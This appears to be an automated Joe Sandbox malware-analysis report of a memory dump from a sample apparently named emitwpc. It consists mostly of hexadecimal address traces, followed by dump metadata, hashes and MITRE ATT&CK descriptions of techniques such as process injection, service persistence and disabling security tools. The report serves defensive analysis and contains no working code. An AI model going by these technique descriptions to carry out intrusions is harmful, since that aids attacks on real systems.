0x002a649a
0x00000000
0x002a649a
0x002a6494
0x002a648c
0x00000000
0x002a56f8
0x002a56fb
0x002a56fd
0x002a56ff
0x002a5700
0x002a5702
0x002a5705
0x002a5708
0x002a570b
0x002a570b
0x002a6471
0x00000000
0x002a646f
0x002a6423
0x002a6423
0x002a6423
0x002a6425
0x002a644a
0x002a644f
0x002a644f
0x002a6454
0x002a6456
0x002a6458
0x002a6458
0x002a6458
0x002a645b
0x00000000
0x002a6427
0x002a6427
0x002a6427
0x002a6427
0x002a642a
0x00000000
0x00000000
0x002a6430
0x002a6435
0x002a6437
0x002a6438
0x002a643b
0x002a643d
0x002a6440
0x002a6443
0x002a6446
0x002a6448
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6448
0x002a6641
0x002a6641
0x00000000
0x002a6641
0x002a6425
0x002a5b6f
0x002a5b6f
0x002a5b6f
0x002a5b6f
0x002a5b73
0x00000000
0x00000000
0x002a5b79
0x002a5b79
0x002a5b7c
0x002a5b9f
0x002a5ba1
0x002a5ba4
0x002a5ba7
0x002a5baa
0x002a5bad
0x002a5bad
0x002a5baf
0x002a5bb2
0x002a5bb5
0x002a5bb8
0x002a5d7b
0x002a5d7b
0x002a5d7e
0x002a6674
0x002a6674
0x002a667b
0x00000000
0x002a5d84
0x002a5d84
0x002a5d84
0x002a5d87
0x002a5e56
0x002a5e56
0x002a5e56
0x002a5e58
0x002a5e58
0x002a5e58
0x002a5e5b
0x002a5e5e
0x00000000
0x00000000
0x002a5e64
0x002a5e64
0x002a5e6b
0x002a5e6e
0x002a5e70
0x002a5e9f
0x002a5e9f
0x002a5eaa
0x002a5eb2
0x002a5eb5
0x002a5eb8
0x002a5ebf
0x002a5ec1
0x002a5ec3
0x002a5ec5
0x002a5ec8
0x002a5ed2
0x002a5ed5
0x002a5ed7
0x002a5eda
0x00000000
0x002a5e72
0x002a5e72
0x002a5e72
0x002a5e72
0x002a5e75
0x00000000
0x00000000
0x002a5e7b
0x002a5e80
0x002a5e82
0x002a5e83
0x002a5e86
0x002a5e88
0x002a5e8b
0x002a5e8e
0x002a5e91
0x002a5e98
0x002a5e9b
0x002a5e9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5e9d
0x002a6595
0x002a6595
0x00000000
0x002a6595
0x00000000
0x002a5e70
0x002a5ee0
0x002a5ee5
0x002a5eee
0x002a5ef4
0x002a5ef7
0x002a5efa
0x002a5efa
0x002a5efc
0x002a5efc
0x002a5efc
0x002a5eff
0x002a5f02
0x00000000
0x00000000
0x002a5f04
0x002a5f04
0x002a5f07
0x002a5f2a
0x002a5f2f
0x002a5f32
0x002a5f35
0x002a5f38
0x002a5f3b
0x002a5f3e
0x002a5f45
0x002a5f4f
0x00000000
0x002a5f09
0x002a5f09
0x002a5f09
0x002a5f09
0x002a5f0c
0x00000000
0x00000000
0x002a5f12
0x002a5f17
0x002a5f19
0x002a5f1a
0x002a5f1c
0x002a5f1f
0x002a5f22
0x002a5f25
0x002a5f28
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5f28
0x002a65a0
0x002a65a0
0x00000000
0x002a65a0
0x00000000
0x002a5f07
0x002a5f52
0x002a5f52
0x00000000
0x002a5d8d
0x002a5d8d
0x002a5d8d
0x002a5d92
0x002a5d93
0x002a5d94
0x00000000
0x002a5d94
0x002a5d87
0x002a5bbe
0x002a5bbe
0x002a5bc0
0x002a5bc3
0x002a5bc5
0x002a5bec
0x002a5bee
0x002a5bf1
0x002a5bf3
0x002a5bf5
0x002a5bf8
0x002a5bf8
0x002a5bfa
0x002a5bfa
0x002a5bfa
0x002a5bfd
0x002a5c00
0x00000000
0x00000000
0x002a5c02
0x002a5c02
0x002a5c04
0x002a5c42
0x002a5c42
0x002a5c45
0x002a655f
0x002a655f
0x00000000
0x002a5c4b
0x002a5c4b
0x002a5c4b
0x002a5c4d
0x002a5c4e
0x002a5c55
0x002a5c56
0x00000000
0x002a5c56
0x002a5c06
0x002a5c06
0x002a5c06
0x002a5c09
0x002a5c2f
0x002a5c2f
0x002a5c36
0x002a5c39
0x002a5c3c
0x002a5c3d
0x00000000
0x002a5c0b
0x002a5c0b
0x002a5c0b
0x002a5c0b
0x002a5c0e
0x00000000
0x00000000
0x002a5c14
0x002a5c19
0x002a5c1b
0x002a5c1c
0x002a5c1e
0x002a5c21
0x002a5c24
0x002a5c27
0x002a5c2a
0x00000000
0x002a5c2c
0x002a5c2c
0x002a5c2c
0x00000000
0x002a5c2c
0x00000000
0x002a5c2a
0x002a6554
0x002a6554
0x00000000
0x002a6554
0x002a5c09
0x00000000
0x002a5c04
0x002a5c5b
0x002a5c6e
0x002a5c75
0x002a5c8a
0x002a5c8d
0x002a6662
0x002a6662
0x002a6669
0x00000000
0x002a5c93
0x002a5c93
0x002a5c93
0x002a5c96
0x002a5c96
0x002a5c96
0x002a5c98
0x00000000
0x00000000
0x002a5c9e
0x002a5c9e
0x002a5ca0
0x002a5cfc
0x002a5cfc
0x002a5cff
0x002a5cff
0x002a5cff
0x002a5d01
0x00000000
0x00000000
0x002a5d11
0x002a5d11
0x002a5d14
0x002a5d16
0x002a5d30
0x002a5d30
0x002a5d33
0x002a5d35
0x002a6587
0x002a6587
0x002a658a
0x00000000
0x002a5d3b
0x002a5d3b
0x002a5d3b
0x002a5d40
0x002a5d42
0x002a5d46
0x002a5d49
0x002a5d4b
0x002a5d54
0x002a5d4d
0x002a5d4d
0x002a5d4f
0x002a5d4f
0x002a5d56
0x002a5d5b
0x002a5d5b
0x002a5d64
0x002a5d69
0x002a5d6b
0x002a5d6e
0x002a5d71
0x002a5d73
0x002a5d76
0x00000000
0x002a5d76
0x002a5d18
0x002a5d18
0x002a5d18
0x002a5d1b
0x002a5d22
0x00000000
0x002a5d22
0x00000000
0x002a5d16
0x002a5d03
0x002a5d03
0x002a5d08
0x00000000
0x002a5ca2
0x002a5ca2
0x002a5ca2
0x002a5ca5
0x002a5cc8
0x002a5cc8
0x002a5ccb
0x002a5cce
0x002a5cd1
0x002a5cd4
0x002a5cdc
0x002a5cdf
0x002a5ce2
0x002a5ce5
0x002a6575
0x002a6575
0x002a657c
0x00000000
0x002a5ceb
0x002a5ceb
0x002a5cee
0x002a5cf1
0x002a5cf6
0x002a5cf7
0x00000000
0x002a5cf7
0x002a5ca7
0x002a5ca7
0x002a5ca7
0x002a5ca7
0x002a5caa
0x00000000
0x00000000
0x002a5cb0
0x002a5cb5
0x002a5cb7
0x002a5cb8
0x002a5cba
0x002a5cbd
0x002a5cc0
0x002a5cc3
0x002a5cc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5cc6
0x002a656a
0x002a656a
0x00000000
0x002a656a
0x002a5ca5
0x00000000
0x002a5ca0
0x00000000
0x002a5c96
0x002a5bc7
0x002a5bc7
0x002a5bc7
0x002a5bc7
0x002a5bca
0x00000000
0x00000000
0x002a5bd0
0x002a5bd5
0x002a5bd7
0x002a5bda
0x002a5bdc
0x002a5bdf
0x002a5be2
0x002a5be5
0x002a5be8
0x002a5bea
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5bea
0x002a6549
0x002a6549
0x00000000
0x002a6549
0x002a5bc5
0x002a5b7e
0x002a5b7e
0x002a5b7e
0x002a5b7e
0x002a5b81
0x00000000
0x00000000
0x002a5b87
0x002a5b8c
0x002a5b8e
0x002a5b8f
0x002a5b91
0x002a5b94
0x002a5b97
0x002a5b9a
0x002a5b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5b9d
0x002a653e
0x002a653e
0x002a6732
0x002a6732
0x002a673b
0x002a6740
0x002a6740
0x002a6743
0x002a6746
0x002a6749
0x002a674b
0x002a674b
0x002a674e
0x002a6750
0x002a675d
0x002a675d
0x002a6760
0x002a6762
0x002a6764
0x002a6764
0x002a6764
0x002a6767
0x00000000
0x00000000
0x002a6769
0x002a6769
0x002a676a
0x002a676d
0x002a676f
0x00000000
0x00000000
0x00000000
0x002a676f
0x002a6764
0x002a6762
0x002a674e
0x002a6749
0x00000000
0x002a5b7c
0x002a65c1
0x002a65c3
0x002a65c6
0x002a65c8
0x002a65f2
0x002a65f2
0x002a65f7
0x002a65fa
0x002a65fc
0x002a65fe
0x002a6601
0x002a6603
0x002a6605
0x002a6605
0x002a6605
0x002a6608
0x00000000
0x00000000
0x002a660a
0x002a660a
0x002a660b
0x002a660e
0x002a6610
0x00000000
0x00000000
0x00000000
0x002a6610
0x002a6605
0x002a6612
0x002a6617
0x002a6617
0x002a661b
0x002a661e
0x002a6621
0x002a6624
0x002a6626
0x002a6629
0x002a662d
0x002a6630
0x002a6634
0x002a6752
0x002a6752
0x002a6752
0x002a6754
0x002a675a
0x002a675a
0x00000000
0x002a663a
0x002a663a
0x002a663a
0x002a6703
0x002a6703
0x002a6703
0x002a6706
0x002a6709
0x00000000
0x00000000
0x002a670b
0x002a670b
0x002a670d
0x002a671a
0x002a671a
0x002a671d
0x002a6720
0x002a66e7
0x002a66e7
0x002a66ed
0x002a66ed
0x002a66f0
0x00000000
0x002a6722
0x002a6722
0x002a66ca
0x002a66ca
0x002a66ca
0x002a66cd
0x00000000
0x00000000
0x002a66cf
0x002a66d4
0x002a66d6
0x002a66d9
0x002a66db
0x002a66dc
0x002a66df
0x002a66e2
0x00000000
0x002a66e4
0x002a66e4
0x002a66e4
0x00000000
0x002a66e4
0x00000000
0x002a66e2
0x002a672c
0x002a672c
0x00000000
0x002a672c
0x002a670f
0x002a670f
0x002a670f
0x002a6712
0x002a6724
0x002a6724
0x00000000
0x002a6714
0x002a6714
0x002a6714
0x002a6717
0x002a66f3
0x002a66f3
0x002a66fc
0x002a66ff
0x002a66ff
0x002a6700
0x00000000
0x002a6700
0x002a6712
0x00000000
0x002a670d
0x00000000
0x002a6703
0x002a65d0
0x00000000
0x002a65d0
0x002a65d0
0x002a65d0
0x002a65d3
0x00000000
0x00000000
0x002a65d9
0x002a65de
0x002a65e0
0x002a65e3
0x002a65e5
0x002a65e8
0x002a65eb
0x002a65ee
0x002a65f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a65f0
0x002a66c2
0x002a66c2
0x00000000
0x002a66c2
0x002a65c8
0x002a5995
0x002a5995
0x002a5995
0x002a5998
0x002a599a
0x002a599e
0x002a59a0
0x002a59a3
0x002a59a6
0x002a59ae
0x002a59b3
0x002a59b6
0x002a59b6
0x002a59b9
0x002a59b9
0x002a59c3
0x002a59cb
0x002a59ce
0x002a59d0
0x002a59d9
0x002a59d9
0x002a59de
0x002a59df
0x002a59e0
0x002a59e1
0x002a59e1
0x002a59e5
0x002a59e7
0x002a59ed
0x002a59f5
0x002a59f5
0x002a59f9
0x002a59fc
0x002a59d2
0x002a59d2
0x002a59d4
0x002a59d4
0x002a59ff
0x002a59ff
0x002a5a02
0x002a5a04
0x002a5a09
0x002a5a0c
0x002a5a0e
0x002a5a11
0x002a5a17
0x002a5b57
0x002a5b57
0x002a5b57
0x002a5b57
0x00000000
0x002a5a1d
0x002a5a1d
0x002a5a1d
0x002a5a20
0x002a5a26
0x002a5a29
0x002a58f8
0x002a58f8
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x00000000
0x002a5900
0x002a587e
0x002a587e
0x002a587e
0x002a5882
0x002a5887
0x002a5888
0x002a588a
0x002a588c
0x002a588f
0x002a5892
0x002a5894
0x002a58e6
0x002a58e6
0x002a58eb
0x002a58ef
0x002a58f2
0x002a58f2
0x002a58f5
0x002a58f5
0x002a58f5
0x002a58f5
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x00000000
0x002a5900
0x002a58c1
0x002a58c1
0x002a58c4
0x002a58c7
0x002a58ca
0x002a58cd
0x002a58d0
0x002a58d0
0x002a58d4
0x002a58d9
0x002a58da
0x002a58dc
0x002a58de
0x002a58e1
0x002a58e4
0x00000000
0x00000000
0x00000000
0x002a58e4
0x002a5a17
0x002a598f
0x002a6771
0x002a6771
0x002a6774
0x002a6776
0x002a677b
0x002a677e
0x002a6781
0x002a6784
0x002a6786
0x002a6789
0x002a6793
0x002a679e
0x002a67a1
0x002a67a5
0x002a67ab
0x002a67b1
0x002a67b7
0x002a67ba
0x002a67bd
0x002a67c2
0x002a67c5
0x002a67c7
0x002a67cd
0x002a67cd
0x002a67cf
0x002a67d5
0x002a67d5
0x002a67df
0x002a67e5
0x002a67ee
0x002a67f1
0x002a67f4
0x002a67f6
0x002a67fa
0x002a67fd
0x002a6803
0x002a6803
0x002a6805
0x002a6805
0x002a6805
0x002a6807
0x002a680a
0x002a680d
0x002a6813
0x002a6813
0x002a6818
0x002a6819
0x002a681a
0x002a681b
0x002a681b
0x002a681b
0x002a6820
0x002a6820
0x002a6823
0x002a6826
0x002a6831
0x002a683c
0x002a6847
0x002a6852
0x002a685d
0x002a6868
0x002a6873
0x002a6878
0x002a687b
0x002a687d
0x002a6882
0x002a6884
0x002a6884
0x002a6889
0x002a688c
0x002a688c
0x002a688f
0x002a688f
0x002a6891
0x002a6894
0x002a6896
0x002a6898
0x002a689c
0x002a689f
0x002a68a1
0x002a68a1
0x002a68a6
0x002a68ae
0x002a68b2
0x002a68b2
0x002a68b6
0x002a68c0
0x002a68c0
0x002a68c3
0x002a68c5
0x002a68c9
0x002a68cb
0x002a68ce
0x002a68d0
0x002a68d2
0x002a68d2
0x002a68d2
0x002a68d5
0x002a68d8
0x002a68db
0x002a68de
0x002a68e1
0x002a68e1
0x002a68e4
0x002a68e4
0x002a68e6
0x002a68e8
0x002a68ee
0x002a68f0
0x002a68f2
0x002a68f2
0x002a68f3
0x002a68f3
0x002a68f6
0x002a68f9
0x002a68fb
0x002a68fb
0x002a68fb
0x002a68fd
0x002a6902
0x002a690d
0x002a6919
0x002a691f
0x002a6921
0x002a6921
0x002a6921
0x002a6924
0x002a6929
0x002a692c
0x002a692c
0x002a6935
0x002a693a
0x002a693a
0x002a693b
0x002a693e
0x002a6940
0x002a6943
0x002a6945
0x002a6947
0x002a694b
0x002a694d
0x002a6955
0x002a6955
0x002a694b
0x002a6945
0x002a67cf
0x002a6958
0x002a6960
0x00000000
0x002a5a2e
0x002a5a2e
0x002a5a31
0x002a5ae3
0x002a5aea
0x002a5af2
0x002a5af5
0x002a5af7
0x002a5b08
0x002a5b08
0x002a5b0d
0x002a5b0e
0x002a5b0f
0x002a5b10
0x002a5b10
0x002a5b14
0x002a5b16
0x002a5b1c
0x002a5b24
0x002a5b24
0x002a5b28
0x002a5b2b
0x002a5af9
0x002a5af9
0x002a5afb
0x002a5afe
0x002a5b03
0x002a5b03
0x002a5b2e
0x002a5b2e
0x002a5b30
0x002a5b32
0x002a5b35
0x002a5b38
0x002a5b3e
0x00000000
0x002a5b40
0x002a5b40
0x002a5b40
0x002a5b43
0x002a5b46
0x002a652c
0x002a652c
0x002a6533
0x00000000
0x002a5b4c
0x002a5b4c
0x002a5b4c
0x002a5b4f
0x00000000
0x002a5b4f
0x002a5b46
0x002a5a37
0x002a5a37
0x002a5a37
0x002a5a3a
0x002a5abf
0x002a5abf
0x002a5ac6
0x002a5ac9
0x002a5ace
0x002a5ad4
0x002a5ad7
0x002a5ada
0x002a5ada
0x002a5add
0x00000000
0x002a5a40
0x002a5a40
0x002a5a40
0x002a5a42
0x002a5a47
0x002a5a4f
0x002a5a51
0x002a5a64
0x002a5a64
0x002a5a67
0x00000000
0x002a5a69
0x002a5a69
0x002a5a6e
0x002a5a71
0x002a5a71
0x002a5a7f
0x002a5a8a
0x002a5a8b
0x002a5a8e
0x002a5a90
0x00000000
0x00000000
0x002a5a92
0x002a5a92
0x002a5a95
0x002a5a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5a97
0x00000000
0x002a5a71
0x002a5a53
0x002a5a53
0x002a5a53
0x002a5a56
0x002a5a58
0x002a5a99
0x002a5a99
0x002a5a9c
0x002a5a9c
0x002a5a9f
0x002a6521
0x002a6521
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5a5a
0x002a5a5a
0x002a5a5a
0x002a5a5c
0x002a5ae0
0x002a5ae0
0x00000000
0x002a5a62
0x002a5a62
0x00000000
0x002a5a62
0x002a5a5c
0x002a5a58
0x00000000
0x002a5aa5
0x002a5aa8
0x002a5aaa
0x002a5aac
0x002a5aad
0x002a5aaf
0x002a5ab2
0x002a5ab5
0x002a5ab8
0x002a5ab8
0x00000000
0x002a5abd
0x002a5a3a
0x00000000
0x002a5a31
0x002a58f8
0x002a5f64
0x002a5f73
0x002a5f7d
0x002a5f93
0x002a5fa9
0x002a5fb2
0x002a5fb7
0x002a5fba
0x002a5fbd
0x002a5fc2
0x002a5fc4
0x002a5fc4
0x002a5fd0
0x002a5fd0
0x002a5fd0
0x002a5fd4
0x002a5fd5
0x002a5fdc
0x002a5fd0
0x002a5fe0
0x002a5fe0
0x002a5fe5
0x002a5fe6
0x002a5fe7
0x002a5fe8
0x002a5fe9
0x002a5fe9
0x002a5fef
0x002a5ff5
0x002a5ff8
0x002a6000
0x002a6000
0x002a6000
0x002a6009
0x002a600b
0x002a600d
0x002a6014
0x002a6017
0x002a6020
0x002a6027
0x002a6029
0x002a602c
0x002a6035
0x002a6037
0x002a603e
0x002a6041
0x002a604c
0x002a604f
0x002a6055
0x002a6058
0x002a6061
0x002a606c
0x002a606c
0x002a606f
0x002a6076
0x002a6080
0x002a6086
0x002a6086
0x002a6090
0x002a6090
0x002a6095
0x002a6095
0x002a6099
0x002a609e
0x002a60a4
0x002a60a4
0x002a60ab
0x002a60af
0x002a60b6
0x002a60bb
0x00000000
0x002a60c0
0x002a60c0
0x002a60cb
0x002a60ce
0x002a60cf
0x002a60d1
0x002a60d4
0x002a60d8
0x002a60d8
0x002a60db
0x002a60de
0x002a612d
0x002a613d
0x002a6140
0x002a6143
0x002a6146
0x002a6149
0x002a614c
0x002a614e
0x002a6153
0x002a6156
0x002a6158
0x002a6158
0x002a615b
0x002a615e
0x002a615e
0x002a6161
0x002a6161
0x002a6164
0x002a6167
0x002a6169
0x002a6169
0x002a6169
0x002a616c
0x002a616f
0x002a6172
0x002a6172
0x002a6172
0x002a6180
0x002a6185
0x002a6189
0x002a618c
0x002a61a4
0x002a618e
0x002a6191
0x002a6195
0x002a6198
0x002a619a
0x002a619d
0x002a61a0
0x002a61a0
0x002a61a7
0x002a61a7
0x002a61a7
0x002a61a7
0x002a61a7
0x002a61ac
0x002a61af
0x002a61af
0x002a61b1
0x002a61b6
0x002a61b6
0x002a61bb
0x002a60e0
0x002a60e0
0x002a60e7
0x002a60ea
0x002a60f3
0x002a60f9
0x002a60f9
0x002a60fe
0x002a60ff
0x002a6100
0x002a6101
0x002a6101
0x002a6106
0x002a610f
0x002a6115
0x002a6115
0x002a6115
0x002a6118
0x002a611a
0x002a611d
0x002a6125
0x002a6125
0x002a60f3
0x002a60de
0x002a61c3
0x002a61c3
0x002a61c6
0x002a61c7
0x002a61d1
0x002a61d6
0x002a61d6
0x002a61d7
0x002a61db
0x002a63f6
0x002a63f6
0x00000000
0x002a61e1
0x002a61e1
0x002a61e1
0x002a61e3
0x002a61e3
0x002a61e3
0x002a61e6
0x002a61e6
0x002a61ec
0x002a61f1
0x00000000
0x00000000
0x002a61f7
0x002a61fa
0x002a62b2
0x002a62b9
0x002a62c1
0x002a62c6
0x002a62d7
0x00000000
0x002a62e0
0x002a62e0
0x002a62e0
0x002a62e5
0x002a62e7
0x002a62ee
0x002a62f6
0x002a62f9
0x002a62f9
0x002a62c8
0x002a62c8
0x002a62ca
0x002a62cd
0x002a62d2
0x002a62d2
0x002a62fd
0x002a62fd
0x002a62ff
0x002a6301
0x002a6304
0x002a630a
0x002a631c
0x002a631c
0x002a632c
0x002a632c
0x002a6333
0x002a6336
0x002a6338
0x002a6360
0x002a636e
0x002a6371
0x002a6378
0x002a637b
0x002a637d
0x002a6381
0x002a6384
0x002a6387
0x002a6393
0x002a6393
0x002a6389
0x002a6389
0x002a6389
0x002a6395
0x002a63a0
0x002a63a9
0x002a63ac
0x002a63ae
0x002a61e3
0x002a61e3
0x00000000
0x002a633a
0x002a633a
0x002a633a
0x002a633a
0x002a633d
0x00000000
0x00000000
0x002a6343
0x002a6348
0x002a634a
0x002a634b
0x002a634e
0x002a6350
0x002a6353
0x002a6356
0x002a6359
0x002a635b
0x00000000
0x002a635d
0x002a635d
0x002a635d
0x00000000
0x002a635d
0x00000000
0x002a635b
0x002a65b6
0x002a65b6
0x00000000
0x002a65b6
0x002a631e
0x002a631e
0x002a631e
0x002a6321
0x002a6323
0x002a6698
0x002a6698
0x002a669b
0x00000000
0x002a6329
0x002a6329
0x002a6329
0x00000000
0x002a6329
0x002a6323
0x002a630c
0x002a630c
0x002a630c
0x002a630f
0x002a6316
0x00000000
0x002a6316
0x002a6200
0x002a6200
0x002a6208
0x002a628e
0x002a628e
0x002a6295
0x002a6298
0x002a629d
0x002a62a3
0x002a62a6
0x002a62a9
0x002a62a9
0x002a62ac
0x00000000
0x002a620e
0x002a620e
0x002a620e
0x002a6210
0x002a6215
0x002a621f
0x002a6232
0x002a6232
0x002a6235
0x00000000
0x002a6237
0x002a6237
0x002a623c
0x002a623c
0x002a6240
0x002a6240
0x002a624e
0x002a6259
0x002a625a
0x002a625d
0x002a625f
0x00000000
0x00000000
0x002a6261
0x002a6261
0x002a6264
0x002a6266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6266
0x00000000
0x002a6240
0x002a6221
0x002a6221
0x002a6221
0x002a6226
0x002a6268
0x002a6268
0x002a626b
0x002a626e
0x002a65ab
0x002a65ab
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6228
0x002a6228
0x002a622a
0x002a62af
0x002a62af
0x00000000
0x002a6230
0x002a6230
0x00000000
0x002a6230
0x002a622a
0x002a6226
0x00000000
0x002a6274
0x002a6277
0x002a6279
0x002a627b
0x002a627c
0x002a627e
0x002a6281
0x002a6284
0x002a6287
0x00000000
0x002a628c
0x002a6208
0x00000000
0x002a61fa
0x002a63b6
0x002a63b9
0x002a63bc
0x002a63be
0x002a63c0
0x002a66a6
0x002a66a6
0x002a66a9
0x00000000
0x002a63c6
0x002a63c6
0x002a63d2
0x002a63e3
0x002a63e3
0x002a63ed
0x002a63f3
0x00000000
0x002a63f3
0x00000000
0x002a63c0
0x002a61e3
0x002a6686
0x002a6686
0x002a6686
0x002a668d
0x00000000
0x002a668d
0x00000000
0x002a6061

APIs

memset.NTDLL ref: 002A5DA8
memset.NTDLL ref: 002A5F7D
memset.NTDLL ref: 002A5F93
memset.NTDLL ref: 002A5FA9

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 6260eaf267b7139be0ce8af2e392cb3253123828c1b7bc653fd336d8bc58cbd8
Instruction ID: ad0c62954ac76b51cd8af54637ffc05cd31f53940db9f6e32259a4a839b4f804
Opcode Fuzzy Hash: 6260eaf267b7139be0ce8af2e392cb3253123828c1b7bc653fd336d8bc58cbd8
Instruction Fuzzy Hash: 00314FB3E10B82EBE3048F64D805BB5B770FBDA304F245356E4D595642EB78A6A4C7C0

Uniqueness

Uniqueness Score: 0.00%

Description:	Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Authentication logs, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. One example command-line interface on Windows systems is cmd , which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task ).
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
Tactics:	Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process Monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	When operating systems boot up, they can start programs or applications called services that perform background system functions. A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process Monitoring, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Tactics:	Defense Evasion
Data Sources:	API monitoring, Anti-virus, File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process Monitoring, Process command-line parameters, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist , and "net start" using Net , but adversaries may also use other tools as well.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

